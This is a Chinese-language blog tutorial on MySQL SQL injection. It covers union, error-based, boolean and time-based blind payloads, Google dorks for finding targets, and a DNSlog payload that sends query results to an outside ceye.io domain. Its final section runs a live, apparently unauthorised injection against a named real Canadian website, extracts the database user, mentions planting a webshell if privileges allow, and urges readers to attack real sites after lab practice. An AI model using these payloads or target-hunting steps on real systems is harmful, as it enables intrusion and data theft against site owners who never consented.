MySQL注入总结

01 MySQL数据库结构及常用函数

一、MySQL数据库结构

MySQL数据库采用库=>表=>列=>数据的存储结构,这样的存储结构影响着我们后续的注入过程。

1. MySQL内置库

在MySQL(版本>=5.7)中除了用户自建的如admin等数据库,还有一些MySQL自带的数据库,这些数据库中存储着MySQL的关键信息:

库名 功能
mysql 保存有账户信息、权限信息、存储过程等
sys 包含了一系列的存储过程、自定义函数等
performance_schema 收集数据库服务器性能参数
information_schema 保存着MySQL服务器所维护的所有其他数据库信息。如数据库名,数据库表等

这些MySQL内置的数据库对注入帮助巨大。

二、MySQL注入常用函数

最好的学习地址MySQL官网

1.常用函数

函数名称 函数功能
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_complie_os 操作系统
count() 返回执行结果的数量
concat() 没有分割地连接字符串
concat_ws() 含有分隔符地连接字符串
group_concat() 连接一个组的所有字符串,并以逗号分隔每一条数据
load_file() 读取本地文件
into outfile 写文件
ascii() 字符串的ASCII代码值
ord() 函数返回字符串第一个字符的 ASCII 值
mid() 返回字符串的一部分
substr() 返回字符串的一部分
length() 返回字符串的长度
left() 返回字符串最左面的几个字符
floor() 返回小于等于x的最大整数
rand() 返回0至1之间的一个随机数
extractvalue() 第一个参数:XML文档对象名称;第二个参数:Xpath格式的字符串。 作用:从目标XML中返回包含所查询值的字符串
updatexml() 第一个参数:XML文档对象名称;第二个参数:Xpath格式字符串;第三个参数:string格式。作用:改变符合条件的节点的值
sleep() 让此语句运行N秒钟
if() select if(1>2,2,3) 返回 3
char() 返回整数所对应的ASCII码字符组成的字符串
exp() 返回e的n次方

2.MySQL运算符

基本的加减乘数那些就不列了。

符号 作用
IS NULL 为空
IS NOT NULL 不为空
BETWEEN AND 在···之间
IN 包含
NOT IN 不包含
LIKE 模式匹配
NOT LIKE 模式匹配
REGEXP 正则表达式

02 MySQL注入流程

一、寻找注入点

这是最重要的一点,没有注入点还想注入(⊙_⊙)? Are you kidding me?

1. 目标搜集

无特定目标:
inurl:.php?id=在茫茫的网海中寻找吧
有特定目标:
inurl:.php?id= site:target.com
工具爬取:
spider,对搜索引擎和目标网站链接进行爬取

2. 注入识别

手工简单识别:
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2
工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --level 增加测试级别
BurpSuite + sqlmap

3. 代码审计

白盒测试环境,耐心地找就可以了。

二、注入流程

找到注入点后就可以开始进行后续的步骤了,从宏观的角度讲SQL注入(不管是MySQL还是MSSQL等等)可以分为以下三个步骤:

  • 信息搜集
  • 数据获取
  • 提权
图片2.png

1. 信息搜集

信息搜集主要是获取有关的数据库类型、数据库版本、数据库用户、数据库权限等为后续注入提供参考的信息。

图片3.png

2. 数据获取

这是MySQL注入中的主要目的,获取存储在数据库中的信息。

图片4.png

3. 提权

如果我们足够幸运,可以利用SQL注入漏洞得到服务器的权限。

图片5.png

03 MySQL注入方法

一、回显注入

这里的“回显”指的是攻击语句的执行结果可以在页面上显示。这里主要用到union select语句,以及MySQL的内置库information_schema

对于union select,要求union 连接的几个查询的字段数一样且列的数据类型转换没有问题,所以确定数据库表中的列数很重要。

1. 注入方法

(1)确定列数

闭合语句 + order by n--+
// 当取到n+1时页面报错,可以确定列数为n

(2)观察页面返回,确定可以显示数据的位置

闭合语句 + union select 1,2,3,...,n--+ 
// 选取可以显示的数据位置,进行下一步注入

(3)读库信息

select schema_name from information_schema.schemata

(4)读表信息

select schema_table from information_schema.tables where table_schema=库名

(5)读字段

select schema_column from information_schema.columns where table_name=表名

(6)读数据

select 列名 from 库名.表名

2. 注意点

  • (1)默认情况union操作符选取不同的值。如果允许重复的值,请使用union all
  • (2)如果数据太多,导致无法返回查询结果:
    可以使用limit限定返回的数量及位置,依次查询;
    使用concat等语句连接多个数据成为一条返回结果。

二、报错注入

当页面可以打印错误信息时,我们可以构造payload让想要的信息通过错误提示显示出来,以这种方式实现的注入就是报错注入。

存在报错注入的代码:

if($row)
{
   echo '正常的页面信息';
}
else
{
   print_r(mysql_error());
}

1. 注入方法

(1)floor()报错注入

select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
/*
concat: 连接字符串
floor: 取float的整数值
rand: 取0~1之间随机浮点值
group by: 根据一个或多个列对结果集进行分组并有排序功能
*/

这里利用group by对rand()函数进行操作时产生错误,进行注入

{
图片.png

如上图所示,version()信息被显示出来,通过更改select version()即可实现想要的注入。

(2)extractvalue()报错注入

select extractvalue(1, concat(0x7e,(select user()),0x7e));
/*
extractvalue(): 接收两个参数,第一个XML文档,第二个xpath语句
*/

这里利用XPATH语法错误产生报错

图片.png

如上图所示,version()信息被显示出来,通过更改select version()即可实现想要的注入。

(3)updatexml()报错注入

select updatexml(1, concat(0x7e, (select user()), 0x7e), 1);
/*
updatexml(): 接收三个参数,第一个XML文档,第二个xpath语句,第三个字符串。
*/

这里利用XPATH语法错误产生报错

图片.png

如上图所示,user()信息被显示出来,通过更改select user()即可实现想要的注入。

2. 注意点

报错注入中,错误回显最多32位,如果数据超过32位可以使用substr
例如:

updatexml(1, concat(0x7e, (select substr(password, 2, 4) from users limit 0, 1), 0x7e), 1)

三、SQL盲注

如果页面代码存在SQL注入漏洞,但在提交错误请求时既没有回显数据,也没有打印错误信息,这时我们就可以利用SQL盲注进行攻击。在实际的渗透测试中,大多数情况都需要利用到SQL盲注。

1. 布尔盲注

布尔盲注中,虽然页面不显现数据以及打印错误信息,但却会但返回正确页面与错误页面。我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确。

方法

left(database(),1)>'s'
select user() regexp '^r'
select user() like 'ro%'
ascii(substr((select database()),1,1))=98
ord(mid((select user()),1,1))=114

2. 时间盲注

时间盲注中,页面不显现数据,不打印错误信息,语句执行后也不提示真假,无法通过页面的内容来判断。我们可以通过构造语句,通过页面的响应时长,来判断信息。

方法

if(left(user(),1)='a',0,sleep(3))

时间盲注与布尔盲注的注入语句基本类似,区别在于时间盲注需要用if判断执行语句的真假。

3. 注意点

因为SQL盲注的特殊性,我们对想要获取的数据必须通过上述方法进行猜解,手工进行测试费时费力。所以如果我们发现了某处存在SQL盲注漏洞,可以使用注入工具快速获得想要的结果。

四、Dnslog注入

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog注入可以减少发送的请求,直接回显数据实现注入。

具体内容可以查看作者之前写过的一篇文章 Dnslog盲注

1. 注入方法

select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')

通过对 selecct databse()这一部分语句的构造,就能实现SQL注入。

2. 注意点

Dnslog注入必须满足以下几个条件:

  • 只能在Windows平台发起load_file请求
  • 注入点可以执行SQL命令

04 MySQL注入类型

在运用上面的注入方法进行实际操作之前,我们还必须判断MySQL的注入类型,这里的分类主要是针对注入点而言的。
(分类因人而异,不必太过纠结)

一、参数类型

这里的参数类型指的是参数提交到数据库后,在程序中以何种方式存在,主要有这三种类型

    1. 数字型
$id = $_GET['id'];
select * from user where id = $id;
    1. 字符型
$name = $_GET['name'];
select * from user where id = '$name';
    1. 搜索型
$key = $_GET['key'];
select * from news where key like '%$key%';

可以看到不同的参数类型需要我们构造不同的语句来确保SQL注入代码的执行。

二、GET、POST与COOKIE

GET类型的注入点直接在地址栏进行操作即可,
COOKIEPOST类型的注入点可以利用hackbar和BurpSuite等工具进行操作。

三、HTTP头

有些页面接受数据http数据包中http头的一些信息,所以测试注入点时,需要将注入语句写入http头部中。
这里需要关注一个PHP全局变量$_SERVER,它用来接受http头部信息。
实例代码:

$info = $_SERVER['HTTP_USER_AGENT'];
$conn = mysql_connect("127.0.0.1", "root", "root");
mysql_select_db("test", $conn);
$sql = "select * from test where info=$info";
····

与普通的注入并无本质性的区别。再如:

$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
···
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

可以将uagent修改为
' and extractvalue(1, concat(0x7e, (select @@version),0x7e)) and '1'='1
这样写注入代码是为了将insert语句闭合,执行攻击语句。虽然此处略有变化,但思路是一样的。

05 MySQL注入实战

这里我们以一个网站为例看看如何进行SQL注入。

捕获.PNG

这是一个加拿大的网站,所以直接把地址贴出来了。之所以选择这个站点,也是因为难得有这么一个比较适合新手进行练习的站点,其实难度与本地搭建的实验环境无异,甚至还简单一点。(大神可以直接转身了)

一、判断注入点

先看看能不能注入,加'进行尝试。
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58%27
页面返回:

捕获.PNG

页面没有显示告警信息,初步判读可能没有防护机制。但是页面也没有内容返回,进一步验证
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58' and '1'='1
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58' and '1'='0
前者执行成功,后者无内容回显,确定存在注入点。

二、进行注入

根据'的执行情况,可以猜测这是一个有回显的注入

1. order by 确定列数

https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58 order by 18 --+
列数为18。

2. 确定回显点

https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=-58' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+

捕获.PNG

3. 可以开始搞了

先可以判断一下注入点的权限,如果权限够高是root,我们甚至可以写入一句话木马,进而获取服务器权限。
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=-58' union select 1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+

捕获.PNG

比较遗憾,这里并不是高权限的注入点ε=(´ο`*)))。

后续的内容小伙伴们可以自行测试,这篇文章只能点到这里了。我个人认为在靶场完练习以后,一定要在实际的网站中进行测试。因为寻找注入点的这个过程会让你认识到黑盒测试的复杂性,更重要的是可以打击你的蜜汁自信,看清渺小的自己,知道这条路并不容易。但也正是因为它富有挑战性,才值得我们try our best

PS

注入绕过、sqlmap等一些的内容还没有写,但是简书的编辑器写到这里已经很卡了,只能把这篇文章提前发布了,后续的内容也会单独成文发布的。
文章中不正确的地方也请大家批评指正。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,884评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,347评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,435评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,509评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,611评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,837评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,987评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,730评论 0 267
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,194评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,525评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,664评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,334评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,944评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,764评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,997评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,389评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,554评论 2 349

推荐阅读更多精彩内容

  • 目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) ...
    JasonChiu17阅读 2,055评论 0 0
  • 关于Mongodb的全面总结 MongoDB的内部构造《MongoDB The Definitive Guide》...
    中v中阅读 31,912评论 2 89
  • MYSQL 基础知识 1 MySQL数据库概要 2 简单MySQL环境 3 数据的存储和获取 4 MySQL基本操...
    Kingtester阅读 7,787评论 5 116
  • 现在写的是昨天。 她说看行动。
    燃烧羊羊阅读 162评论 0 1
  • 如果没有真正懂得 如果没有真正悟到 注意 提醒 都是没用的 真正懂得 真正悟到 改变就从心出发 顺理成章 行为引导习惯
    平心看世界阅读 218评论 0 0